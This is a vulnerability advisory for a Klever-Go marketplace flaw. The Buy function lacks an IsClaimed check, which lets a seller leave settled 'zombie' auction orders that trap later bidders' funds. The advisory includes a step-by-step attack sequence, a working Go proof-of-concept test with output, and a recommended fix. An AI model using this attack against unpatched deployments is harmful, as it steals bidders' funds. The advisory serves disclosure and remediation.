CVE-2026-82406: Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace
Location: core/kapp/market/market.go — Buy() (approx. L281–436)\ Severity: High
The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.
Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.
A seller can settle a resting-bid auction early via the seller-accept branch of Claim (~L776) → executeBuyMarket (~L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.
Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.
Attack sequence (permissionless , anyone can create a sell order): 1. Attacker (seller S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil). 2. S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live". 3. Victim B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378). 4. B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.
POC package market
import ( "testing"
"github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core/kapp" "github.com/klever-io/klever-go/core/process/kda/kdautils" "github.com/klever-io/klever-go/data/block" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/data/transaction" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/kvm/mock/stub" "github.com/stretchr/testify/require" )
// TestPoCZombieOrderMissingIsClaimedGuardInBuy proves the fund-loss / theft // vulnerability caused by Buy lacking the IsClaimed guard that Claim // (market.go L752) and CancelOrder (market.go L1125) both enforce. // // Attack (attacker A == seller S, victim B): // 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST). // 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder, // no settlement because Price==0). // 3. S accepts the resting bid early via Claim's seller-accept branch (L776), // which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A, // proceeds paid to S(=A). This settle path is the ONLY one that does NOT // reset EndTime and does NOT delete the order -> the order becomes a live // "zombie" (IsClaimed=true, EndTime in the future, still loadable). // 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed // guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X // (funded by B), and B becomes CurrentBidder on an already-claimed order. // 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on // IsClaimed). B's Y is unrecoverable; X of it is siphoned to A. // // HARM proven: B ends down Y with no NFT and no recovery path; A ends up X. func TestPoCZombieOrderMissingIsClaimedGuardInBuy(t testing.T) { const ( blockTime = int64(1000) endTime = int64(1001000) // future relative to blockTime reserve = int64(1000000) // R bidX = int64(1000000) // A's resting bid (== reserve, >= reserve required) bidY = int64(2000000) // B's bid on the zombie order (must be > X) fundAttacker = int64(10000000) fundVictim = int64(10000000) )
klv := kdautils.KLVIdentifier collectionID := []byte("ZOMBIE-COLL") assetID := []byte("1") marketplaceID := []byte("mp-zombie") orderID := []byte("order-zombie")
attacker := defaultAddr // A == S (seller and first bidder) victim := defaultOther // B
marketKApp, accCacher, forkController := createTestMarketKApp(t) // Post-fork behaviour (guards on royalty overflow enabled); does not touch // the missing-IsClaimed-guard path being tested. forkController.FixMarketBuyOverflowValue = true
// --- Fund the two user accounts (Buy debits real balances) --- attackerAcc, err := accCacher.LoadUser(attacker) require.NoError(t, err) require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false)) require.NoError(t, accCacher.UpdateUser(attackerAcc))
victimAcc, err := accCacher.LoadUser(victim) require.NoError(t, err) require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false)) require.NoError(t, accCacher.UpdateUser(victimAcc))
// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order --- marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress) require.NoError(t, err)
require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{ ID: marketplaceID, OwnerAddress: attacker, Name: []byte("Zombie Market"), ReferralAddress: attacker, ReferralPercentage: 0, // keep accounting clean })) // The NFT is escrowed in the market KApp (as if seller deposited it via Sell). require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))
// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and // Sell L1003-1014: Auction has no Price>0 requirement). order := &kapps.MarketOrderData{ ID: orderID, MarketplaceID: marketplaceID, MarketType: kapps.MarketOrderDataAuction, OwnerAddress: attacker, CollectionID: collectionID, AssetID: assetID, CurrencyID: klv, Price: 0, // <-- makes bids rest instead of auto-settle ReservePrice: reserve, // R ReferralPercentage: 0, StartTime: blockTime, EndTime: endTime, // future IsClaimed: false, } require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order)) require.NoError(t, accCacher.UpdateKapp(marketKappAcc))
// --- Shared KApp context / controller wiring for all handler calls --- receiptsStub := mock.NewReceiptsContextStub() ctx := &mock.KAppContextStub{ ContractIDCalled: func() int { return 0 }, ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub }, BlockCalled: func() block.Block { return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}} }, TxNonceCalled: func() uint64 { return 1 }, } // Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner. asset := &kapps.KDAData{ OwnerAddress: attacker, Royalties: &kapps.RoyaltiesData{ Address: attacker, MarketPercentage: 0, SplitRoyalties: make(map[string]kapps.RoyaltySplitData), }, } controllerStub := &stub.KAppControllerStub{ GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx }, GetKDAKAppCalled: func() kapp.KDAKapp { return &stub.KDAKappStub{ GetKDACalled: func( []byte) (state.KAppAccountHandler, kapps.KDAData, error) { return nil, asset, nil }, } }, } require.NoError(t, marketKApp.SetKAppController(controllerStub))
balance := func(addr []byte) int64 { a, e := accCacher.LoadUser(addr) require.NoError(t, e) return a.GetBalance(klv, false) }
// ============================================================ // STEP 1: A places a RESTING bid X via the real Buy handler. // ============================================================ status, err := marketKApp.Buy(attacker, &transaction.BuyContract{ ID: orderID, CurrencyID: klv, Amount: bidX, }) require.NoError(t, err, "resting bid should succeed") require.Equal(t, transaction.TransactionOk, status)
, restedOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err) require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle") require.Equal(t, attacker, restedOrder.CurrentBidder) require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order") require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")
// ============================================================ // STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept // branch). This settles the order but leaves EndTime in the future // and does NOT delete the order -> zombie order. // ============================================================ status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID}) require.NoError(t, err, "early seller-accept claim should succeed") require.Equal(t, transaction.TransactionOk, status)
, settledOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)") require.True(t, settledOrder.IsClaimed, "order is now claimed/settled") require.GreaterOrEqual(t, settledOrder.EndTime, blockTime, "BUG: early-claim settle path leaves EndTime in the future (order looks live)") require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")
// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle. require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")
// ============================================================ // STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X. // Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability). // ============================================================ status, err = marketKApp.Buy(victim, &transaction.BuyContract{ ID: orderID, CurrencyID: klv, Amount: bidY, }) require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order") require.Equal(t, transaction.TransactionOk, status, "BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")
require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y") require.Equal(t, fundAttacker+bidX, balance(attacker), "A received a PHANTOM refund of X (funded by B) on the zombie order")
, zombieOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err) require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order") require.Equal(t, bidY, zombieOrder.CurrentBid) require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")
// ============================================================ // HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752). // ============================================================ status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID}) require.Error(t, err, "HARM: B's Claim must revert (order already claimed)") require.Equal(t, transaction.TransactionParameterInvalid, status, "HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")
// ============================================================ // HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125). // ============================================================ status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID}) require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)") require.Equal(t, transaction.TransactionParameterInvalid, status, "HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")
// ============================================================ // HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT // and no recovery path; A is permanently up X. // ============================================================ require.Equal(t, fundVictim-bidY, balance(victim), "HARM: B is down Y (%d) with no NFT and no recoverable path", bidY) require.Equal(t, fundAttacker+bidX, balance(attacker), "HARM: A is up X (%d), siphoned from B", bidX)
// Confirm B never received the NFT (it was delivered to A at settle time). victimFinal, err := accCacher.LoadUser(victim) require.NoError(t, err) , nftErr := victimFinal.SubInternalKDA(collectionID, assetID) require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")
t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+ "Y-X = %d KLV destroyed/stranded.", bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX) } Executable Go test: core/kapp/market/poczombieordertest.go — TestPoCZombieOrderMissingIsClaimedGuardInBuy
Run: cd klever-go GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoCZombieOrderMissingIsClaimedGuardInBuy -v (Local Go 1.23.1 auto-fetches toolchain 1.25.7 per go.mod. Full market package suite passes no regressions.)
Output: PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable. A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded. --- PASS: TestPoCZombieOrderMissingIsClaimedGuardInBuy (0.00s) PASS
Assertions proven (all using real market functions, harm-level not mechanism-level): - Resting bid: Price=0 auction → bid rests (CurrentBid=X, IsClaimed=false), no auto-settle. - Early seller-accept Claim → IsClaimed=true, EndTime still in the future, order still loadable (the zombie). - Victim Buy on the claimed order returns TransactionOk (the vulnerability no IsClaimed guard). - Harm (a): victim's Claim reverts TransactionParameterInvalid. - Harm (b): victim's CancelOrder reverts TransactionParameterInvalid. - Harm (c): victim −Y, attacker +X, victim holds no NFT and has no recovery path.
Impact
- Direct, permanent fund loss for any bidder who bids on an already-settled order. The victim's entire bid Y is burned with nothing received and no recovery path (Claim and CancelOrder both revert on IsClaimed). - Theft: the attacker (seller, also acting as prior bidder A via Sybil) keeps the NFT and harvests ≈X from each subsequent bidder. Repeatable across many bait orders. - Value destruction: Y−X per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation). - No privileged role required , anyone can create a marketplace sell order. - Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads EndTime-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).
Impact High × Likelihood Medium -> High.
Recommendation
Add an IsClaimed guard at the top of Buy, mirroring Claim (market.go:752) and CancelOrder (market.go:1125):
go if marketOrder.IsClaimed { return transaction.TransactionParameterInvalid, ErrMarketOrderAlreadyClaimed }
Defense-in-depth (optional but recommended): in executeBuyMarket, reset EndTime/CurrentBid/CurrentBidder (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.
Other sources
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the native marketplace function core/kapp/market/market.go Buy does not check IsClaimed before accepting a bid. A seller can use the Claim seller-accept branch to settle a resting-bid auction while leaving the claimed order loadable with a future EndTime and stale CurrentBid and CurrentBidder values. A later bidder can submit a higher bid, be debited, and cause the previous bidder to receive a refund even though the NFT has already been delivered. Because Claim and CancelOrder reject the later bidder when IsClaimed is true, the later bidder cannot obtain the NFT or recover the funds. This issue is fixed in version 1.7.20.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/klever-io/klever-goto a version that resolves this vulnerability.Fixed in 1.7.20 - Upgrade
Upgrade
Klever-Goto a version that resolves this vulnerability.Fixed in 1.7.20 - Compensating control
In the early seller-accept settlement path, reset EndTime, CurrentBid, and CurrentBidder, or delete the order, so a settled order cannot remain loadable as a live auction.
- Compensating control
Gate the consensus-visible marketplace behavior change behind an epoch fork flag so historical blocks reprocess identically.
Event History
Frequently Asked Questions
Which deployments are affected?
Klever-Go versions prior to 1.7.20 are affected. The issue is in the native marketplace Buy function.
What conditions are needed for exploitation?
A seller must settle a resting-bid auction through the seller-accept Claim branch while the order remains loadable with a future EndTime and stale bid data. A later bidder must then submit a higher bid to the already claimed order.
What happens to a bidder who interacts with an already claimed order?
The later bidder can be debited, while the prior bidder receives a refund, despite the NFT already having been delivered. Because Claim and CancelOrder reject that later bidder when IsClaimed is true, the later bidder cannot obtain the NFT or recover the funds.
What is the remediation?
Upgrade Klever-Go to version 1.7.20, which fixes the missing IsClaimed check in Buy.